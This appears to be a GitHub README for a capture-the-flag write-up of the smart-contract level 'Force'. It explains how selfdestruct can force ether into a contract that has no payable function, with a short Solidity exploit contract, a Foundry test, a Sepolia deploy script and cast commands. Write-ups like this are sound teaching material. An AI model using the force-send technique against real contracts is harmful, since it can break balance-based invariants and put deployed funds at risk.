Skip to content
This repository was archived by the owner on Mar 1, 2025. It is now read-only.

Latest commit

 

History

History

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 

README.md

👾 07. Force


tl; dr


  • this challenge exploits smart contract invariants, and how total balance is not a good invariant.
    • contract invariants are properties of the program state that are expected to always be true. for instance, the value of owner state variable, the total token supply, etc., should always remain the same.
    • a state in the blockchain is considered valid when the contract-specific invariants hold true.

  • in this challenge, we need to find a way to forcely send ether to a contract that does not explicitly contain a payable, a receive(), or a fallback() function.

  • there are two ways this can be done when the destination contract is already deployed:
    • by using coinbase transactions or block rewards (like MEV searchers and validators rewards)
    • by leveraging (the now being deprecated) selfdestruct(address), which allows contracts to receive ether from other contracts.
      • all the ether stored in the calling contract is transferred to address (and since this happens at the EVM level, there is no way for the receiver to prevent it).
      • selfdestruct() can be considered a garbage collection to clean up voided contracts (and it consumes negative gas).



contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}


discussion


  • Force contract has no code and its ABI is empty, so we need to figure out how we can send ether to it.

  • as mentioned above, we can use selfdestruct(address), a function used to delete a contract from the blockchain by removing its code and storage.


solution


  • we craft a very simple exploit, located at src/07/ForceExploit.sol:

contract ForceExploit {
    
    constructor(address payable instance) payable {
        selfdestruct(instance);
    }
}

  • and test it with test/07/Force.t.sol:

contract ForceTest is Test {

    address payable instance = payable(vm.addr(0x10053)); 
    address hacker = vm.addr(0x1337); 

    function setUp() public {
    
        vm.prank(instance);
        vm.deal(hacker, 1 ether);
    }

    function testForceHack() public {

        vm.startPrank(hacker);
        assert(instance.balance == 0);
        ForceExploit exploit = new ForceExploit{value: 0.0005 ether}(instance);
        assert(instance.balance != 0);
        vm.stopPrank();
        
    }
}

  • running:

> forge test --match-contract ForceTest -vvvv    

  • then, we submit the solution with script/07/Force.s.sol:

contract Exploit is Script {

    ForceExploit exploit;
    address payable instance = payable(vm.envAddress("INSTANCE_LEVEL7"));     
    address hacker = vm.rememberKey(vm.envUint("PRIVATE_KEY")); 
    uint256 immutable initialDeposit = 0.0005 ether;  
        
    function run() external {
        vm.startBroadcast(hacker);
        exploit = new ForceExploit{value: initialDeposit}(instance);
        vm.stopBroadcast();
    }
}

  • by running:

> forge script ./script/07/Force.s.sol --broadcast -vvvv --rpc-url sepolia


alternative solution using cast


  • deploy the exploit with:

> forge create src/07/ForceExploit.sol:ForceExploit --constructor-args=<level address> --private-key=<private-key> --rpc-url=<sepolia url> 

  • then call the contract with:

> cast send <deployed address> --value 0.0005ether --private-key=<private-key> --rpc-url=<sepolia url> 


pwned...